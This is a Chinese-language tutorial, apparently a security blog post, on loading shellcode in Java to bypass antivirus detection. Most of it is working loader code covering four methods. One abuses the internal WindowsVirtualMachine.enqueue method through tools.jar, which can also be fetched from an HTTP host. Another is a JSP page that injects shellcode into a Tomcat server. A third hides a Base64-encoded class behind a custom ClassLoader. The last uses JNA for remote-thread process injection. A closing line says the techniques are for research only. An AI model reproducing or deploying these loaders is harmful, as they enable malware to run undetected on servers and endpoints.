Java安全之加载shellcode_bypass杀软
字数 1010 2025-08-22 12:22:54

Java安全之加载Shellcode绕过杀软技术详解

前言

在当前的杀毒软件环境中,对病毒木马的识别主要基于三种机制:

  1. 静态特征识别(Static Signature Detection)

    • 定义:基于文件静态属性的检测方法
    • 工作原理:通过比对文件特征与已知病毒特征库进行匹配
  2. 动态特征识别(Dynamic Behavioral Detection)

    • 定义:基于程序运行时行为的检测方法
    • 工作原理:监视程序执行过程中的行为模式(如文件读写、网络通信等)
  3. 启发式识别(Heuristic Detection)

    • 定义:基于启发式规则的检测方法
    • 工作原理:使用算法评估文件或程序的潜在威胁程度,不依赖已知签名

方法1:依赖tools.jar加载Shellcode

原理

通过反射调用sun.tools.attach.WindowsVirtualMachine类的enqueue函数加载Shellcode。

实现步骤

  1. 生成Shellcode

    byte buf[] = new byte[] { (byte)0xfc,(byte)0x48,(byte)0x83,... };
    
  2. 加载Shellcode的核心代码

    System.loadLibrary("attach");
    Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
    
    for (Method m : cls.getDeclaredMethods()) {
        if (m.getName().equals("enqueue")) {
            long hProcess = -1;  // 注入当前Java进程
            String cmd = "load";
            String pipeName = "test";
            m.setAccessible(true);
            Object result = m.invoke(cls, new Object[]{hProcess, buf, cmd, pipeName, new Object[]{}});
        }
    }
    
  3. 解决ClassNotFoundException问题

    • 需要添加tools.jar引用(位于<jdk>/lib/tools.jar
    • 启动时指定tools.jar路径:
      java -Xbootclasspath/a:"C:\Program Files\Java\jdk1.8.0_202\lib\tools.jar" -jar jspshellcode.jar
      

其他协议绕过方式

  1. 使用file协议

    URLClassLoader loader = new URLClassLoader(new URL[] {
        new URL("file:C:\\Program Files\\Java\\jdk1.8.0_202\\lib\\tools.jar") 
    });
    
  2. 使用http协议

    URLClassLoader loader = new URLClassLoader(new URL[] {
        new URL("http://192.168.0.120/tools.jar") 
    });
    

方法2:Tomcat JSP加载Shellcode

JSP实现代码

<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    URLClassLoader loader = new URLClassLoader(new URL[] {
        new URL("file:C:\\Program Files\\Java\\jdk1.8.0_202\\lib\\tools.jar") 
    });
    Class cls = loader.loadClass("sun.tools.attach.WindowsVirtualMachine");
    
    for (Method m : cls.getDeclaredMethods()) {
        if (m.getName().equals("enqueue")) {
            long hProcess = -1;
            byte buf[] = new byte[] { (byte)0xfc,(byte)0x48,... };
            String cmd = "load";
            String pipeName = "taest";
            m.setAccessible(true);
            Object result = m.invoke(cls, new Object[]{hProcess, buf, cmd, pipeName, new Object[]{}});
        }
    }
    Thread.sleep(4000);
%>

方法3:自定义类加载器加载Shellcode

实现步骤

  1. 自定义WindowsVirtualMachine类

    package sun.tools.attach;
    
    import java.io.IOException;
    
    public class WindowsVirtualMachine {
        public WindowsVirtualMachine() {}
    
        static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException;
        static native long openProcess(int var0) throws IOException;
    
        public static void run(byte[] buf) {
            System.loadLibrary("attach");
            try {
                enqueue(-1L, buf, "test", "test");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
  2. 生成并Base64编码class文件

    File file = new File("WindowsVirtualMachine.class");
    FileInputStream fi = new FileInputStream(file);
    byte[] buffer = new byte[(int) file.length()];
    fi.read(buffer);
    fi.close();
    String encoded = Base64.getEncoder().encodeToString(buffer);
    
  3. 自定义ClassLoader加载

    public class Myloader extends ClassLoader {
        public Class get(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    
    String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF/8IACcHACg...";
    Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
    
    for (Method m : result.getDeclaredMethods()) {
        if (m.getName().equals("run")) {
            m.invoke(result, shellcode);
        }
    }
    

方法4:使用GraalVM加载Shellcode

环境配置

  1. 下载GraalVM:https://github.com/graalvm/graalvm-ce-builds/releases
  2. 设置环境变量:
    • PATH:安装目录下的/bin
    • JAVA_HOME:安装目录

实现代码

import com.sun.jna.*;
import com.sun.jna.platform.win32.*;

public class Jna {
    static byte shellcode[] = new byte[] {...};
    
    static Kernel32 kernel32;
    static IKernel32 iKernel32;
    
    static {
        kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
        iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
    }
    
    public void loadShellCode(byte[] shellcodeByte, String targetProcess) {
        int shellcodeSize = shellcodeByte.length;
        Memory memory = new Memory((long) shellcodeSize);
        
        for (int j = 0; j < shellcodeSize; ++j) {
            memory.setByte((long) j, shellcodeByte[j]);
        }
        
        WinBase.PROCESS_INFORMATION processInfo = new WinBase.PROCESS_INFORMATION();
        WinBase.STARTUPINFO startupInfo = new WinBase.STARTUPINFO();
        startupInfo.cb = new WinDef.DWORD((long) processInfo.size());
        
        if (kernel32.CreateProcess(targetProcess, null, null, null, false, 
            new WinDef.DWORD(4L), null, null, startupInfo, processInfo)) {
            
            Pointer pointer = iKernel32.VirtualAllocEx(processInfo.hProcess, 
                Pointer.createConstant(0), shellcodeSize, 4096, 64);
                
            iKernel32.WriteProcessMemory(processInfo.hProcess, pointer, 
                memory, shellcodeSize, new IntByReference(0));
                
            HANDLE handle = iKernel32.CreateRemoteThread(processInfo.hProcess, 
                null, 0, pointer, 0, 0, null);
                
            kernel32.WaitForSingleObject(handle, -1);
        }
    }
    
    interface IKernel32 extends StdCallLibrary {
        Pointer VirtualAllocEx(HANDLE hProcess, Pointer lpAddress, 
            int dwSize, int flAllocationType, int flProtect);
            
        boolean WriteProcessMemory(HANDLE hProcess, Pointer lpBaseAddress, 
            Pointer lpBuffer, int nSize, IntByReference lpNumberOfBytesWritten);
            
        HANDLE CreateRemoteThread(HANDLE hProcess, Object lpThreadAttributes, 
            int dwStackSize, Pointer lpStartAddress, int dwCreationFlags, 
            int lpThreadId, Object lpParameter);
    }
}

总结

本文详细介绍了四种在Java环境中加载Shellcode并绕过杀毒软件检测的技术:

  1. 利用tools.jar中的WindowsVirtualMachine类
  2. 通过Tomcat JSP动态加载
  3. 自定义类加载器实现
  4. 使用GraalVM的多语言支持特性

每种方法都有其适用场景和优缺点,实际应用中可根据目标环境选择最合适的技术。需要注意的是,这些技术仅用于安全研究和防御目的,切勿用于非法活动。

Java安全之加载Shellcode绕过杀软技术详解 前言 在当前的杀毒软件环境中,对病毒木马的识别主要基于三种机制: 静态特征识别(Static Signature Detection) 定义:基于文件静态属性的检测方法 工作原理:通过比对文件特征与已知病毒特征库进行匹配 动态特征识别(Dynamic Behavioral Detection) 定义:基于程序运行时行为的检测方法 工作原理:监视程序执行过程中的行为模式(如文件读写、网络通信等) 启发式识别(Heuristic Detection) 定义:基于启发式规则的检测方法 工作原理:使用算法评估文件或程序的潜在威胁程度,不依赖已知签名 方法1:依赖tools.jar加载Shellcode 原理 通过反射调用 sun.tools.attach.WindowsVirtualMachine 类的 enqueue 函数加载Shellcode。 实现步骤 生成Shellcode 加载Shellcode的核心代码 解决ClassNotFoundException问题 需要添加tools.jar引用(位于 <jdk>/lib/tools.jar ) 启动时指定tools.jar路径: 其他协议绕过方式 使用file协议 使用http协议 方法2:Tomcat JSP加载Shellcode JSP实现代码 方法3:自定义类加载器加载Shellcode 实现步骤 自定义WindowsVirtualMachine类 生成并Base64编码class文件 自定义ClassLoader加载 方法4:使用GraalVM加载Shellcode 环境配置 下载GraalVM:https://github.com/graalvm/graalvm-ce-builds/releases 设置环境变量: PATH:安装目录下的/bin JAVA_ HOME:安装目录 实现代码 总结 本文详细介绍了四种在Java环境中加载Shellcode并绕过杀毒软件检测的技术: 利用tools.jar中的WindowsVirtualMachine类 通过Tomcat JSP动态加载 自定义类加载器实现 使用GraalVM的多语言支持特性 每种方法都有其适用场景和优缺点,实际应用中可根据目标环境选择最合适的技术。需要注意的是,这些技术仅用于安全研究和防御目的,切勿用于非法活动。